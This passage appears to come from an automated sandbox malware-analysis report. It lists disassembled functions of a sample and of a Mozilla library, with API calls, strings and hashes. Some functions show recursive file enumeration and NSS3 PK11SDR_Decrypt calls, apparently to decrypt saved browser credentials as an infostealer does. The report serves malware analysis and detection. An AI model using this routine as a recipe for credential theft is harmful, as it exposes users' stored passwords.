FindClose.KERNEL32(000000FF), ref: 00414180
lstrcat.KERNEL32(?,0265C8A8), ref: 004141A5
lstrcat.KERNEL32(?,02679E80), ref: 004141B8
lstrlenA.KERNEL32(?), ref: 004141C5
lstrlenA.KERNEL32(?), ref: 004141D6

Strings

%s\%s, xrefs: 004140FB
%s\*, xrefs: 0041407A

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 01225944c54d07649508d6c48e8f7c5dfaa03e67c8e8b3bd80d1bb06a40eafd3
Instruction ID: 5a9d9924cf4f5588b7cf1b0220733e19b9eaeea9c8f58638c5d055d4a934acf6
Opcode Fuzzy Hash: 01225944c54d07649508d6c48e8f7c5dfaa03e67c8e8b3bd80d1bb06a40eafd3
Instruction Fuzzy Hash: 6A5194B1940218ABC720EB70DC89FEE777DAF58304F40458DB60996190EB749BC5CFA5

Function 6C723E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C747770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>rl,?,?,?,6C723E7D,?,?), ref: 6C74777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C723F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C723F5C
VerSetConditionMask.NTDLL ref: 6C723F8D
VerSetConditionMask.NTDLL ref: 6C723F99
VerSetConditionMask.NTDLL ref: 6C723FA0
VerSetConditionMask.NTDLL ref: 6C723FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C723FB4

Strings

nvinit.dll, xrefs: 6C724479
nvd3d9wrap.dll, xrefs: 6C724466
C>rl, xrefs: 6C723E93

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>rl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-216117985
Opcode ID: 459b7ff71a78dbe66d31af68e955ac4fff5ff5e0066bdffa033f71a8b115d475
Instruction ID: 93660d7b8d37689db3cc9d8920fa74bcda932440ca6289e0c9275149a9873b13
Opcode Fuzzy Hash: 459b7ff71a78dbe66d31af68e955ac4fff5ff5e0066bdffa033f71a8b115d475
Instruction Fuzzy Hash: F6520472610B494FDB10DF34CA84EAB77EAAF85304F54492DD5A28B742CB74F90ACB64

Function 6C735600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C736131
name, xrefs: 6C735E79, 6C735E8F
expected a Count entry, xrefs: 6C735AC3
ProfileBuffer parse error: %s, xrefs: 6C735AC8, 6C735CBB
expected a Time entry, xrefs: 6C735CB6
schema, xrefs: 6C73606D

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 6647915cd514d278532e0d58ab51e391195ba7b8dd70411a91617d6648456dfc
Instruction ID: 20cb5583640942c630820c5a7c704ed1b4be385829a18577adf698eb3f3f2b2a
Opcode Fuzzy Hash: 6647915cd514d278532e0d58ab51e391195ba7b8dd70411a91617d6648456dfc
Instruction Fuzzy Hash: E0926D71A083518FD724CF24C69479ABBE1BFC5308F54892DE49D9B752DB30E909CB92

Function 6C732E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C732ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C732EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C732F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C733214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C733242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7336BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C73378D
get , xrefs: 6C733205
set , xrefs: 6C7336EC

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: e8006dcf4b018cd299d685d92fd322e715f192403037ed3ba80114ffe7000d73
Instruction ID: 5d13199b09dea3dd2262c565aa7e922823f650cd1d11c53089d2fe247d0f529f
Opcode Fuzzy Hash: e8006dcf4b018cd299d685d92fd322e715f192403037ed3ba80114ffe7000d73
Instruction Fuzzy Hash: 25329EB06083818FD324CF24C5846AEBBE2AFC9318F549C2DE5D987752DB31D94ACB56

Function 6C727E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C728280, 6C7283E1
(pre-xul), xrefs: 6C727E88
name, xrefs: 6C727ECF, 6C728335
vvl, xrefs: 6C728207
schema, xrefs: 6C7281E3, 6C728311

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vvl
API String ID: 3412268980-3926063392
Opcode ID: 70dadb50bdc7e43e4277fb0c07490ff58ab57da0b96b0001aa3884f889c79699
Instruction ID: 8f780a9feff13b0ca0f85144b58b9d100bfdd670b6e21112291a21550a538cb7
Opcode Fuzzy Hash: 70dadb50bdc7e43e4277fb0c07490ff58ab57da0b96b0001aa3884f889c79699
Instruction Fuzzy Hash: E5E19EB1A043408FC710CF69C94466BFBEABBC5314F14892DE8A9D7780DBB4DD498B96

Function 0040EB60 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040EB7E
FindFirstFileA.KERNEL32(?,?), ref: 0040EB95
StrCmpCA.SHLWAPI(?,004214DC), ref: 0040EBEB
StrCmpCA.SHLWAPI(?,004214E0), ref: 0040EC01
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F0EE
FindClose.KERNEL32(000000FF), ref: 0040F103

Strings

%s\*.*, xrefs: 0040EB72

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: e6b9b230384824213b0ea7d3f0555db51e141fc5402f5cfade634dd89464c9a9
Instruction ID: c6306bd3c9db837ca22bf811b4dc293e3d61997c094f6f04bf3b71cb7d88404f
Opcode Fuzzy Hash: e6b9b230384824213b0ea7d3f0555db51e141fc5402f5cfade634dd89464c9a9
Instruction Fuzzy Hash: 27E13071912118AADB14FB61DC56EEE7338AF50314F4041EEB40B62092EE786FD9CF5A

Function 6C70D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C76E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C71D1C5), ref: 6C70D4F2
LeaveCriticalSection.KERNEL32(6C76E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C71D1C5), ref: 6C70D50B

Part of subcall function 6C6ECFE0: EnterCriticalSection.KERNEL32(6C76E784), ref: 6C6ECFF6
Part of subcall function 6C6ECFE0: LeaveCriticalSection.KERNEL32(6C76E784), ref: 6C6ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C71D1C5), ref: 6C70D52E
EnterCriticalSection.KERNEL32(6C76E7DC), ref: 6C70D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C70D6A6
LeaveCriticalSection.KERNEL32(6C76E7DC), ref: 6C70D712
LeaveCriticalSection.KERNEL32(6C76E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C71D1C5), ref: 6C70D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C70D7EA

Strings

<jemalloc>, xrefs: 6C70D827
: (malloc) Error initializing arena, xrefs: 6C70D82C

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: b0dc8dd4f996b16c41831620a008f5331b6ca0f8ddfe47607772edaa6032e890
Instruction ID: 5962c3cad840964b8c0fd4e43dd0b1e6a22e9220188c17d8455bfdcda57d7241
Opcode Fuzzy Hash: b0dc8dd4f996b16c41831620a008f5331b6ca0f8ddfe47607772edaa6032e890
Instruction Fuzzy Hash: F991B2B1B047058FD714CF39C69472AB7E1EB9A314F14493EE55A87B81E730A844CB96

Function 0040C660 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C693
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,0265CBC8), ref: 0040C6B1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C6BC
PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
memcpy.MSVCRT ref: 0040C752
lstrcat.KERNEL32(?,00420B2E), ref: 0040C783
lstrcat.KERNEL32(?,00420B2F), ref: 0040C797
PK11_FreeSlot.NSS3(?), ref: 0040C7A1
lstrcat.KERNEL32(?,00420B33), ref: 0040C7B8

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction ID: c0f5229a5aee9ff77f702815419eeee9532eb5a68af55b4089f36d1ae8d19eeb
Opcode Fuzzy Hash: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction Fuzzy Hash: 96414E7490421ADFCB20CFA4DD89BEEBBB9AB48304F1042B9F509A7280D7745A85CF95

Function 0040DC50 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C19), ref: 0040DC9E
StrCmpCA.SHLWAPI(?,0042146C), ref: 0040DCEE
StrCmpCA.SHLWAPI(?,00421470), ref: 0040DD04
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E220
FindClose.KERNEL32(000000FF), ref: 0040E232

Strings

\*.*, xrefs: 0040DC66
t@, xrefs: 0040DC72, 0040E240, 0040DD33, 0040DCB5, 0040DD36

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*$t@
API String ID: 2325840235-663382066
Opcode ID: 2aba9a4d3cd8a4bb6c12051e66f7745c538f30c2f86c87ebc9ca92114b92ad39
Instruction ID: e9223715fb7ea1854cb62e564a6307543a1272858c9b536fbbbe29962c1fc9f0
Opcode Fuzzy Hash: 2aba9a4d3cd8a4bb6c12051e66f7745c538f30c2f86c87ebc9ca92114b92ad39
Instruction Fuzzy Hash: 3EF1FE71915118AACB15FB61DC95AEEB338AF24314F8041DFB40A62091EF782BD9CF5A

Function 6C709E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C709EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C709F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C709F34
LeaveCriticalSection.KERNEL32(?), ref: 6C70A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C70A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C70A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C70A8B1, 6C70A8D4, 6C70A8EF

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: fa282d28bf3c9585e44616286e8f5bd4a217f1568ec6d2519315d17a7afda043
Instruction ID: ccb3f9e464b17e22ddc62d9380d255206bf632da3baefbb266f6009b3f18f5bc
Opcode Fuzzy Hash: fa282d28bf3c9585e44616286e8f5bd4a217f1568ec6d2519315d17a7afda043
Instruction Fuzzy Hash: E37258B2A157118FD314CF29C640615FBE1BF89328F2AC76DE8699B791D375E842CB80

Function 6C732C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C732C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C732C61

Part of subcall function 6C6E4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6E4E5A
Part of subcall function 6C6E4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C6E4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C732C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C732E2D

Part of subcall function 6C6F81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6F81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C732E3B
(root), xrefs: 6C73354F
expected a Time entry, xrefs: 6C732E36

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 7bc53f27092fb40f89f600912509036accb314a3731bf61864e59953545108bf
Instruction ID: b399a66fd48a65de6a91e1ff625192eed473162f06ce36f8fefb8c5f14561df3
Opcode Fuzzy Hash: 7bc53f27092fb40f89f600912509036accb314a3731bf61864e59953545108bf
Instruction Fuzzy Hash: 1591E1B06087408FC724CF28C58969FF7E1AFC9358F10592DE99A8B752DB30D54ACB96

Function 6C749E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C749F3D
__aulldiv.LIBCMT ref: 6C749F77
__aullrem.LIBCMT ref: 6C749F8C
__aulldiv.LIBCMT ref: 6C74A023

Strings

-Infinity, xrefs: 6C749E60, 6C749E7B
NaN, xrefs: 6C749EAB

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b04f433d288c64d6fbd92e3bd9d15c826d83c53d03864bea9309eef110a0ff4c
Instruction ID: 3157958ea5672e9252e2e590adceadf32abf46884e3642d7ac32345761f8d115
Opcode Fuzzy Hash: b04f433d288c64d6fbd92e3bd9d15c826d83c53d03864bea9309eef110a0ff4c
Instruction Fuzzy Hash: C8C1C071F04319CBDB14CFA8C994BAEB7BAFB98314F148529D405ABB80D770AD49CB91

Function 6C6ED4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C6EDE7F
, xrefs: 6C6EDA88
0, xrefs: 6C6EDC7F
-, xrefs: 6C6ED7DD
8, xrefs: 6C6EDC08
@, xrefs: 6C6EDAF6
1, xrefs: 6C6EDBDD
0, xrefs: 6C6ED852

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: de94d34b422bc57ea063cd48512119bec634c651050210378b7320fa6114a178
Instruction ID: 3ca71ce141bdfca3a5fbe6c1ab3c93f60dbe71df14b953f6e5878f36d89ed2d3
Opcode Fuzzy Hash: de94d34b422bc57ea063cd48512119bec634c651050210378b7320fa6114a178
Instruction Fuzzy Hash: D662CF7050E3458FD701CF19C49079EBBF2AFCA358F284A1EE4E54BA91D3359985CB8A

Function 6C75545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C758A4B

Strings

~qnl, xrefs: 6C759459, 6C755740, 6C759269, 6C75921F, 6C755703, 6C7556C7, 6C75948F

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

